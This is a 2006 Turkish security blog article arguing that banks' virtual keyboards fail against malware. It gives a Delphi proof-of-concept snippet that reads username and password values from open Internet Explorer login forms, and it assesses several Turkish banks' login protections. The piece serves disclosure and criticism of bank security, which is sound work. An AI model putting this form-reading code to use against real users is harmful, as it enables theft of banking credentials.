Sanal Klavyeler Ne Kadar Güvenli? - Tankado.com

Sanal Klavyeler Ne Kadar Güvenli?

  12/11/2006, Yazar: Özgür Koca, Kategori: Güvenlik, Makaleler

pw Sanal Klavyeler Ne Kadar Güvenli?Artık hemen hemen tüm interaktif bankacılık şubelerinde sanal klavye seçeneği mevcut. Keylogger adı verilen programlardan haberi olanlar sanal klavyelere neden ihtiyaç duyulduğu hakkında fikir yürütebilirler. Keylogger adı verilen programlar arka planda çalışarak kullanıcının bastığı tuşları kaydederler ve sahiplerine ulaştırılar.Bu yazıda sanal klavyelerin keylogger ve benzeri tehditlere karşı neden yeterli olamayacağını kanıtlarıyla beraber açıklamaya çalışacağım. Yazımda bu tezi kanıtlamak için hazırladığım bir programın kaynak kodlarını da bulabilirsiniz. Program ile sanal klavye gibi popüler bir güvenlik katmanının ne kadar basit bir yolla atlatılabileceğini görmenizi istedim. Umarım suistimal edilmez.
Sanal Klavyelerin GeliÅŸim Evreleri

Sanal klavyeler kullanıcı bilgilerini çalmak için tasarlanmış turuva yazılımlarına karşı bazı mutastyon evreleri geçirmek zorunda kalmışlardır. Aslında bu evreler turuva yazılımlarınkileri ile birebir aynıdır. Şöyleki;

  • Fare kordinatlarının kaydedilmesine karşı her tuÅŸ giriÅŸinden sonra sanal klavyedeki tuÅŸlar rasgele karıştırılarak kordinatların kaydedilememesi saÄŸlandı.
  • Turuva yazılımları tuÅŸların karıştırıldığı klavyeler için fare imlecinin belli bir çapındaki bölgeyi her fare tıklamasında kaydederek tuÅŸ karıştırma önlemenin üstesinde geldi.
  • Buna karşı sanal klavyeler tuÅŸ basımı esnasında tuÅŸ etiketini * gibi semboller ile gizlemeye baÅŸladılar. Böylece tuÅŸ basımı esnasında kaydedilen resimdeki tuÅŸ gizlenmiÅŸ oldu.
  • TuÅŸ karıştırma ve tuÅŸ gizleme yöntemleri beraber kullanılarak daha güvenli klavyeler oluÅŸturulmaya çalışıldı. tıklayarak görebileceÄŸiniz güvenlik incelemesinde açıklandığı gibi, turuva yazılımları çözümü ekran görüntüsünü avi (hareketli görüntü) formatında kaydederek buldu.(Bu incelemede turuva yazılımı bankanın sayfası açıldığında farenin yakın çevresini bir dizine avi olarak kaydediyor ve sahibinin dinamik (no-ip.com) adresli FTP sunucusundaki bir dizine yüklüyor. Bu konunun ayrıntılı olarak ele alındığı isimli makale okunmaya deÄŸer)

Buraya kadar geçirilen evrelere raÄŸmen hala çok basit ve önemli bir noktadan hiç bahsedilmiyor. Bu da bir HTML text input’unu (HTML metin kutusu) okumanın, sistem genelinde çalışacak bir keylogger’a göre çok daha etkili olması. Sanırım bahsi geçen keylogger yazılımlarının “scrip kidie” denen programcı olmayan korsanlar tarafından kullanılması ve yayılması daha orjinal yöntemlerin göz ardı edilmesine -daha az kiÅŸi tarafından bilinmesine- neden oluyor.  DiÄŸer yandan aÅŸağıdaki kaynak koddan da görülebileceÄŸi gibi bir metin kutusunun okutulması iÅŸlemi programcılık açısından diÄŸer yöntemlere göre daha basit sayılabilir.


Sanal Klavyeleri Alt Etmek

Giriş sayfasında yapılan hareketlerin avi formatında kaydedilmesi korumanın alt edildiği bir yöntem olmasına rağmen ortaya çıkan büyük boyutlu dosyalar pratik kullanımını sınırlandırıyor.

Günümüzde sanal klavye kullanan interaktif bankacılık sayfalarının hepsinde, kullanıcının tuşladığı karakterler javascript ile birer birer standart input kutusuna ekleniyor ve daha sonra form olarak sunucuya gönderiliyor. Verilerin sunucuya gönderilmeden önceki son durağının form kutuları olması onları turuva yazılımları için hedef haline getirebilir. Form kutularının aşağıdaki fonksiyonla düzenli olarak taratılması ekranı kaydetmeye göre çok daha etkili bir yoldur.

try
ShellWindow := CoShellWindows.Create;
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
if spDisp = nil then Continue;
spDisp.QueryInterface(iWebBrowser2, WB);
if WB <> nil then
begin
WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
if iDoc1 <> nil then
begin
WB := ShellWindow.Item(k) as IWebbrowser2;
begin
Document := WB.Document;
if Pos(Title, Document.Title) <> 0 then
begin
Form1.Label1.Caption := UnField;
Form1.Label2.Caption := PwField;
Form1.un.Text := Document.getElementById(UnField).Value;
Form1.pw.Text := Document.getElementById(PwField).Value;
end;
end;
end;
end;
end;
except
end;


 Sanal Klavyeler Ne Kadar Güvenli?
Sanal Klavyelerin Fonksiyonsuz Bırakılabileceğini Gösteren Uygulama

Programı ve Delphi kaynak kodlarını incelemek için buraya tıklayın. (~470KB)


Sanal Klavye Programı Hakkında

Bu yazıyı yazarken kodların ve açıklanan yöntemlerin kötü amaçlarla yeniden kullanılabileceği fikri beni rahatsız etmiyor değil. Fakat bu konulardan bahsetmemek birileri tarafından kötü amaçlarla uygulanmayacağı anlamına gelmiyor. Günümüzde birçok büyük bankanın hala web girişinde güvenliği konusuna gereken önemi vermemesi üzücü. Belki ilgili kişiler burada yazanları okurlar ve alınması gereken güvenlik önlemlerini herkesin faydası adına bir an önce alırlar. Son cümlelerim belki biraz sitemkar gelecek ama güncel tehditlere karşı bir güvenlik politikasının oluşturulması ve bu anlamda planlı bir süreçte uygulanması gerekiyro. Üzülerek söylüyorum ki hala güvenlik sistemlerini (yazılım/web uygulamaları/donanım sistemleri) ihaleye çıkarak ısmarlayan ve sorun oluştuğunda üslenici firmalardan telefonla destek sağlayan bankalar var.


Bankaların Bakış Açısı

Ne yazık ki, bankada hesaplarını açarken imzaladıkları şartnamelerle her türlü sorumluluğu müşterinin sırtına yükleyen bu kurumsal u*anıklar, doğal olarak bir sorumlulukları olmadığı için de güncel güvenlik önlemlerini almak için pek aceleci davranmıyorlar.

Güvenliği bir süreç haline döken ve ciddi politikalarla uygulayan bankalar da var. İsim vermeyeceğim ama aralarında bu politikaları müşteri için işkence haline getirenler de yok değil. Her iki tarafın mutluluğu açısından yüksek güvenlik ile konforun uygun bir ortasını bulmak gerekiyor.

Türkiye’deki Bankaların GiriÅŸ GüvenliÄŸi Açısından Mevcut Durumları

2006 yılı başında hazırlayıp da pek güncelleme şansı bulamadığım interaktif bankacılık incelemelerini vererek bu konuyu sonlandırmak istiyorum:


  • Garanti Güvenlik Kalkanı ile adındaki bir AcvtiveX yükleniyor. JaguarEdit yüklendiÄŸinde HTML parola giriÅŸ kutusu bu ActiveX ile deÄŸiÅŸtiriliyor. Keyloggerlar ve ekranı kaydeden programlara karşı tam çözüm. Ayrıca bu kutuların dışarıdan okunması da klasik yollarla mümkün olmuyor. Garanti bankasının yeni uygulamaya koyduÄŸu “Cep Åžifrematik” hizmeti ile cep telfonunuza yükleyeceÄŸiniz tekil bir program ile her seferinde (zamana baÄŸlı) deÄŸiÅŸen ÅŸifreler üretmeniz mümkün. Bir ÅŸekilde ÅŸifrenizin baÅŸkalarının eline geçme ihtimaline karşı bu önlem yüksek güvenlik saÄŸlıyor. Garanti Bankasını güvenlik konusuna gösterdiÄŸi titizlik için tebrik ediyorum.

  • Isbank interaktif giriÅŸ SSL, Sanal klavye ve bir parola zinciriyle korunmuÅŸ. GiriÅŸ kutularındaki verilerin okunmaması için bir önlem alınmamış.

  • Veri iletiÅŸimi SSL ile güvenlik altına alınmamış. Sanal klavye var ama screenlogger’lara karşı önlem yok. Keylogger lara karşı da önlem yok. Ayrıca sayfa kodlarında optimizasyon yok. Web deki kaynak kodlarının düzeni, kod güvenliÄŸi adına gereken hassasiyetin gösterilmemiÅŸ olma ihtimalini kuvvetlendiriyor.

  • SSL güvenliÄŸinin yanında keylogger ve screenlogger lardan koruyan bir ActiveX denetimi olan JaguarEdit ile giriÅŸ koruması saÄŸlanmış. Bu denetim ile giriÅŸ kutularının baÅŸka bir program tarafından okunması engellenmiÅŸ. İcelenenler arasında en güvenli kullanıcı giriÅŸlerinden biri de bu sitede saÄŸlanmış.

  • SSL ile veri iletiÅŸimi korunmuÅŸ. Åžifre alanı için sanal klavye kullanma zorunlu hale getirilmiÅŸ. Bu keylogger’lara (Tus Kayıtçısı) karşı iyi bir önlem. Benzer ÅŸekilde screenlogger’lar (ekran kayıtçısı – hedeflenen pencerede farenin tıkladığı alanın fotografını çeker/veya tüm ekranı fotograflar) karşı sanal klavye üzerinde güzel bir önlem alınmış farenin onclick olayinda ilk iÅŸ olarak düğme etiketleri * karakteri replace edilmiÅŸ. Böylece bir screenlogger tarafından fotografı çekilse dahi hangi tuÅŸa tıklandığının anlaşılamayacağı düşünülmüş ama ekranın avi olarak kaydedilmesine karşı yeterli deÄŸil. Bütün bu güvenlik önlemlerinin yanında giriÅŸ kutularındaki bilgilerin okunmasına karşı da bir önlem alınmamış.

  • Asyafinans interaktif giriÅŸinin güvenliÄŸi sadece SSL’e emanet edilmiÅŸ. Sanal klavyesi yok. GiriÅŸ kutularının okunamaması için de bir önlem alınmamış.

  • İlk denememde güvenli bir giriÅŸe sahip deÄŸildi. Bu yazıyı yazarken sistemleri hizmet dışı olduÄŸu için yeni bir açıklama yazamıyorum.
  • Kuveyt Türk Internet Åžubesi
    SSL ve sanal klavyeli giriÅŸ ile keylogger’lara karşı güvenlik saÄŸlanmış. GiriÅŸ kutuları okunabiliyor. Screenlogger’lara karşı güvenlik saÄŸlanmamış.

  • 128 Bit SSL veri iletiÅŸimi güvenlik altına alınmış. Bunun dışında bir giriÅŸ güvenliÄŸi söz konusu deÄŸil.

  • SSL ve istenildiÄŸinde kullanılabilecek “PinPad” adında sanal klavye. Screenlogger ve keylogger’lara karşı güvenlik saÄŸlanmamış.
  • VakıfBank Internet 724
    Vakıfbank interaktifinde de SSL den başka bir herhangi bir giriş güvenliği uygulaması yok.

Yazan: Tankado / 20 Ocak 2006








Bu yazıya puan verin: 1 Puan2 Puan3 Puan4 Puan5 Puan6 Puan7 Puan8 Puan9 Puan10 Puan


2 yorum yapıldı



Biraz gürültü yapın





Not: Yazdığınız yorum yönetici tarafından onaylandıktan sonra yayınlanacaktır.


  Yorumlara eposta ile abone ol




  • Hakkında | İletiÅŸim | Wordpress.org | RSS | Abone Ol

  • (c) 2005-2009 Wordpress Tema: Tankado & Theme by Tankado.com